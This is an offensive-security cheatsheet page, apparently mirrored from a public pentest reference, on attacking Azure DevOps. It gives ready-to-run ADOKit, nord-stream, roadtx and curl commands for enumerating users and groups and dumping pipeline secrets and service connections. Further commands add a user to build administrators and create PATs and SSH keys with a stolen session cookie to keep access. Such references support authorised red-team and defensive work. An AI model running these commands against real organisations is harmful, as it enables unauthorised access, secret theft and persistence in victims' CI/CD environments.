daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

azure-services-devops.md (8202B)


      1 ---
      2 title: "Azure Services - Azure DevOps"
      3 section: "Cloud"
      4 sectionSlug: "cloud"
      5 sourcePath: "docs/cloud/azure/azure-services-devops.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/cloud/azure/azure-services-devops.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Azure Services - Azure DevOps
     12 
     13 * [xforcered/ADOKit](https://github.com/xforcered/ADOKit) - Azure DevOps Services Attack Toolkit
     14 * [zolderio/devops](https://github.com/zolderio/devops) - Azure DevOps Access Testing Scripts
     15 * [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
     16 
     17     ```ps1
     18     # List all secrets from all projects
     19     $ nord-stream.py devops --token "$PAT" --org myorg --list-secrets
     20 
     21     # Dump all secrets from all projects
     22     $ nord-stream.py devops --token "$PAT" --org myorg
     23     ```
     24 
     25 ## Authentication
     26 
     27 You can access an organization's Azure DevOps Services instance via <https://dev.azure.com/{yourorganization}>.
     28 
     29 * Username and Password
     30 * Authentication Cookie `UserAuthentication`: `ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization`
     31 * Personal Access Token (PAT): `ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization`
     32 
     33     ```ps1
     34     PAT="XXXXXXXXXXX"
     35     organization="YOURORGANIZATION"
     36     curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds
     37     ```
     38 
     39 * Access Token with FOCI (MS Authenticator)
     40 
     41     ```ps1
     42     roadtx auth --device-code -c 4813382a-8fa7-425e-ab75-3b753aab3abb
     43     roadtx refreshtokento -c 1950a258-227b-4e31-a9cf-717495945fc2 -r 499b84ac-1321-427f-aa17-267ca6975798/.default
     44     python main.py --token $(jq -r '.accessToken' .roadtools_auth) repositories
     45     ```
     46 
     47 ## Recon
     48 
     49 * Search files: `file:FileNameToSearch`, `file:Test* OR file:azure-pipelines*`
     50 
     51   ```ps1
     52   curl -i -s -k -X $'GET'
     53   -H $'Content-Type: application/json'
     54   -H $'User-Agent: SOME_USER_AGENT'
     55   -H $'Authorization: Basic BASE64ENCODEDPAT'
     56   -H $'Host: dev.azure.com'
     57   $'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0'
     58   ```
     59 
     60 * Search code: `ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"`
     61 
     62   ```ps1
     63   curl -i -s -k -X $'POST'
     64   -H $'Content-Type: application/json'
     65   -H $'User-Agent: SOME_USER_AGENT'
     66   -H $'Authorization: Basic BASE64ENCODEDPAT'
     67   -H $'Host: almsearch.dev.azure.com'
     68   -H $'Content-Length: 85'
     69   -H $'Expect: 100-continue'
     70   -H $'Connection: close'
     71   --data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}' 
     72   $'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview'
     73   ```
     74 
     75 * Enumerate users
     76 
     77   ```ps1
     78   curl -i -s -k -X $'GET'
     79   -H $'Content-Type: application/json'
     80   -H $'User-Agent: SOME_USER_AGENT'
     81   -H $'Authorization: Basic BASE64ENCODEDPAT'
     82   -H $'Host: dev.azure.com'
     83   $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0'
     84   ```
     85 
     86 * Enumerate groups: `ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"`
     87 
     88   ```ps1
     89   curl -i -s -k -X $'GET'
     90   -H $'Content-Type: application/json'
     91   -H $'User-Agent: SOME_USER_AGENT'
     92   -H $'Authorization: Basic BASE64ENCODEDPAT'
     93   -H $'Host: dev.azure.com'
     94   $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
     95   ```
     96 
     97 * Enumerate project permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
     98 
     99 * Get the user profile of the user from access_token: <https://app.vssps.visualstudio.com/_apis/profile/profiles/me?api-version=7.1>
    100 * Get the organizations that user belongs to: <https://app.vssps.visualstudio.com/_apis/accounts?memberId={UserID}?api-version=7.1>
    101 * Get the repositories inside of that organization: <https://dev.azure.com/{org_name}/_apis/projects?api-version=7.1>
    102 
    103 ## Privilege Escalation
    104 
    105 * Adding User to Group: `ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"`
    106 
    107     ```ps1
    108     curl -i -s -k -X $'PUT'
    109     -H $'Content-Type: application/json'
    110     -H $'User-Agent: Some User Agent'
    111     -H $'Authorization: Basic base64EncodedPAT'
    112     -H $'Host: vssps.dev.azure.com'
    113     -H $'Content-Length: 0'
    114     $'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1'
    115     ```
    116 
    117 * Retrieve build variables and secrets: `ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`, `ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
    118 
    119     ```ps1
    120     curl -i -s -k -X $'GET'
    121     -H $'Content-Type: application/json'
    122     -H $'User-Agent: Some User Agent'
    123     -H $'Authorization: Basic base64EncodedPAT'
    124     -H $'Host: dev.azure.com'
    125     $'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0'
    126     ```
    127 
    128 * Retrieve Service Connection Information: `ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
    129 
    130     ```ps1
    131     curl -i -s -k -X $'GET'
    132     -H $'Content-Type: application/json;api-version=5.0-preview.1'
    133     -H $'User-Agent: Some User Agent'
    134     -H $'Authorization: Basic base64EncodedPAT'
    135     -H $'Host: dev.azure.com'
    136     $'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0'
    137     ```
    138 
    139 ## Persistence
    140 
    141 * Create a PAT: `ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization`
    142 
    143     ```ps1
    144     curl -i -s -k -X $'POST'
    145     -H $'Content-Type: application/json'
    146     -H $'Accept: application/json;api-version=5.0-preview.1'
    147     -H $'User-Agent: Some User Agent'
    148     -H $'Host: dev.azure.com'
    149     -H $'Content-Length: 234'
    150     -H $'Expect: 100-continue'
    151     -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
    152     --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}'
    153     $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
    154     ```
    155 
    156 * Create SSH Keys: `ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"`
    157 
    158     ```ps1
    159     curl -i -s -k -X $'POST'
    160     -H $'Content-Type: application/json'
    161     -H $'Accept: application/json;api-version=5.0-preview.1'
    162     -H $'User-Agent: Some User Agent'
    163     -H $'Host: dev.azure.com'
    164     -H $'Content-Length: 856'
    165     -H $'Expect: 100-continue'
    166     -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
    167     --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}'
    168     $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
    169     ```
    170 
    171 ## References
    172 
    173 * [Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023](https://www.ibm.com/downloads/cas/5JKAPVYD)
    174 * [DevOps access is closer than you assume - rikvduijn - January 21, 2025](https://zolder.io/blog/devops-access-is-closer-than-you-assume/)
    175 * [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab)